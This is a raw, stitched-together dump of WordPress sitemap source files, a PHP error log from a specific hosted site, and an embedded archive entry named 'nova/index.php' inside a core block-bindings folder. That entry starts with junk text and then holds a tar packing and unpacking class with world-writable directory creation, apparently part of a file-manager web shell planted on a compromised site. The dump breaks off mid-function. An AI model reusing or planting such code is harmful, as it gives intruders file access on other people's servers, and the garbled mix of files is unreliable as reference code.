Returns the query args for retrieving users to list in the sitemap. * * @since 5.5.0 * * @return array Array of WP_User_Query arguments. */ protected function get_users_query_args() { $public_post_types = get_post_types( array( 'public' => true, ) ); // We're not supporting sitemaps for author pages for attachments and pages. unset( $public_post_types['attachment'] ); unset( $public_post_types['page'] ); /** * Filters the query arguments for authors with public posts. * * Allows modification of the authors query arguments before querying. * * @see WP_User_Query for a full list of arguments * * @since 5.5.0 * * @param array $args Array of WP_User_Query arguments. */ $args = apply_filters( 'wp_sitemaps_users_query_args', array( 'has_published_posts' => array_keys( $public_post_types ), 'number' => wp_sitemaps_get_max_urls( $this->object_type ), ) ); return $args; } } providers/error_log000064400000033654150561175450010522 0ustar00[17-May-2025 14:23:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [17-May-2025 14:40:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [17-May-2025 19:17:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [17-May-2025 20:17:13 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [18-May-2025 00:14:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [19-May-2025 09:05:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [19-May-2025 13:18:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [19-May-2025 13:25:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [04-Jun-2025 12:55:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [04-Jun-2025 14:05:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [04-Jun-2025 18:21:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [11-Jun-2025 01:53:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [11-Jun-2025 06:58:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [16-Jun-2025 00:52:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [19-Jun-2025 06:56:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [27-Jun-2025 18:53:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [27-Jun-2025 20:12:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [28-Jun-2025 01:43:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [11-Jul-2025 09:02:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [11-Jul-2025 09:21:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [11-Jul-2025 09:40:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [17-Aug-2025 22:00:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [17-Aug-2025 22:02:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [17-Aug-2025 22:08:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [18-Aug-2025 07:33:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [18-Aug-2025 07:35:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [18-Aug-2025 07:35:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [18-Aug-2025 07:36:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [18-Aug-2025 07:37:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [18-Aug-2025 07:38:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [20-Aug-2025 04:50:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [20-Aug-2025 13:27:47 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [20-Aug-2025 15:28:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [29-Aug-2025 21:19:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [29-Aug-2025 21:21:15 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [29-Aug-2025 21:25:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [30-Aug-2025 15:53:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 [30-Aug-2025 15:53:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [30-Aug-2025 15:54:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [30-Aug-2025 16:00:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17 [30-Aug-2025 16:05:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17 [30-Aug-2025 16:08:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17 class-wp-sitemaps.php000064400000014402150561175450010643 0ustar00registry = new WP_Sitemaps_Registry(); $this->renderer = new WP_Sitemaps_Renderer(); $this->index = new WP_Sitemaps_Index( $this->registry ); } /** * Initiates all sitemap functionality. * * If sitemaps are disabled, only the rewrite rules will be registered * by this method, in order to properly send 404s. * * @since 5.5.0 */ public function init() { // These will all fire on the init hook. $this->register_rewrites(); add_action( 'template_redirect', array( $this, 'render_sitemaps' ) ); if ( ! $this->sitemaps_enabled() ) { return; } $this->register_sitemaps(); // Add additional action callbacks. add_filter( 'robots_txt', array( $this, 'add_robots' ), 0, 2 ); } /** * Determines whether sitemaps are enabled or not. * * @since 5.5.0 * * @return bool Whether sitemaps are enabled. */ public function sitemaps_enabled() { $is_enabled = (bool) get_option( 'blog_public' ); /** * Filters whether XML Sitemaps are enabled or not. * * When XML Sitemaps are disabled via this filter, rewrite rules are still * in place to ensure a 404 is returned. * * @see WP_Sitemaps::register_rewrites() * * @since 5.5.0 * * @param bool $is_enabled Whether XML Sitemaps are enabled or not. * Defaults to true for public sites. */ return (bool) apply_filters( 'wp_sitemaps_enabled', $is_enabled ); } /** * Registers and sets up the functionality for all supported sitemaps. * * @since 5.5.0 */ public function register_sitemaps() { $providers = array( 'posts' => new WP_Sitemaps_Posts(), 'taxonomies' => new WP_Sitemaps_Taxonomies(), 'users' => new WP_Sitemaps_Users(), ); /* @var WP_Sitemaps_Provider $provider */ foreach ( $providers as $name => $provider ) { $this->registry->add_provider( $name, $provider ); } } /** * Registers sitemap rewrite tags and routing rules. * * @since 5.5.0 */ public function register_rewrites() { // Add rewrite tags. add_rewrite_tag( '%sitemap%', '([^?]+)' ); add_rewrite_tag( '%sitemap-subtype%', '([^?]+)' ); // Register index route. add_rewrite_rule( '^wp-sitemap\.xml$', 'index.php?sitemap=index', 'top' ); // Register rewrites for the XSL stylesheet. add_rewrite_tag( '%sitemap-stylesheet%', '([^?]+)' ); add_rewrite_rule( '^wp-sitemap\.xsl$', 'index.php?sitemap-stylesheet=sitemap', 'top' ); add_rewrite_rule( '^wp-sitemap-index\.xsl$', 'index.php?sitemap-stylesheet=index', 'top' ); // Register routes for providers. add_rewrite_rule( '^wp-sitemap-([a-z]+?)-([a-z\d_-]+?)-(\d+?)\.xml$', 'index.php?sitemap=$matches[1]&sitemap-subtype=$matches[2]&paged=$matches[3]', 'top' ); add_rewrite_rule( '^wp-sitemap-([a-z]+?)-(\d+?)\.xml$', 'index.php?sitemap=$matches[1]&paged=$matches[2]', 'top' ); } /** * Renders sitemap templates based on rewrite rules. * * @since 5.5.0 * * @global WP_Query $wp_query WordPress Query object. */ public function render_sitemaps() { global $wp_query; $sitemap = sanitize_text_field( get_query_var( 'sitemap' ) ); $object_subtype = sanitize_text_field( get_query_var( 'sitemap-subtype' ) ); $stylesheet_type = sanitize_text_field( get_query_var( 'sitemap-stylesheet' ) ); $paged = absint( get_query_var( 'paged' ) ); // Bail early if this isn't a sitemap or stylesheet route. if ( ! ( $sitemap || $stylesheet_type ) ) { return; } if ( ! $this->sitemaps_enabled() ) { $wp_query->set_404(); status_header( 404 ); return; } // Render stylesheet if this is stylesheet route. if ( $stylesheet_type ) { $stylesheet = new WP_Sitemaps_Stylesheet(); $stylesheet->render_stylesheet( $stylesheet_type ); exit; } // Render the index. if ( 'index' === $sitemap ) { $sitemap_list = $this->index->get_sitemap_list(); $this->renderer->render_index( $sitemap_list ); exit; } $provider = $this->registry->get_provider( $sitemap ); if ( ! $provider ) { return; } if ( empty( $paged ) ) { $paged = 1; } $url_list = $provider->get_url_list( $paged, $object_subtype ); // Force a 404 and bail early if no URLs are present. if ( empty( $url_list ) ) { $wp_query->set_404(); status_header( 404 ); return; } $this->renderer->render_sitemap( $url_list ); exit; } /** * Redirects a URL to the wp-sitemap.xml * * @since 5.5.0 * @deprecated 6.7.0 Deprecated in favor of {@see WP_Rewrite::rewrite_rules()} * * @param bool $bypass Pass-through of the pre_handle_404 filter value. * @param WP_Query $query The WP_Query object. * @return bool Bypass value. */ public function redirect_sitemapxml( $bypass, $query ) { _deprecated_function( __FUNCTION__, '6.7.0' ); // If a plugin has already utilized the pre_handle_404 function, return without action to avoid conflicts. if ( $bypass ) { return $bypass; } // 'pagename' is for most permalink types, name is for when the %postname% is used as a top-level field. if ( 'sitemap-xml' === $query->get( 'pagename' ) || 'sitemap-xml' === $query->get( 'name' ) ) { wp_safe_redirect( $this->index->get_index_url() ); exit(); } return $bypass; } /** * Adds the sitemap index to robots.txt. * * @since 5.5.0 * * @param string $output robots.txt output. * @param bool $is_public Whether the site is public. * @return string The robots.txt output. */ public function add_robots( $output, $is_public ) { if ( $is_public ) { $output .= "\nSitemap: " . esc_url( $this->index->get_index_url() ) . "\n"; } return $output; } } PK $[Bhblock-bindings.tarnu[ova/index.php000064400000233533150547666770007211 0ustar00nskldgskgsdgf hlsqmdklsqd speskdjqsjdss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = 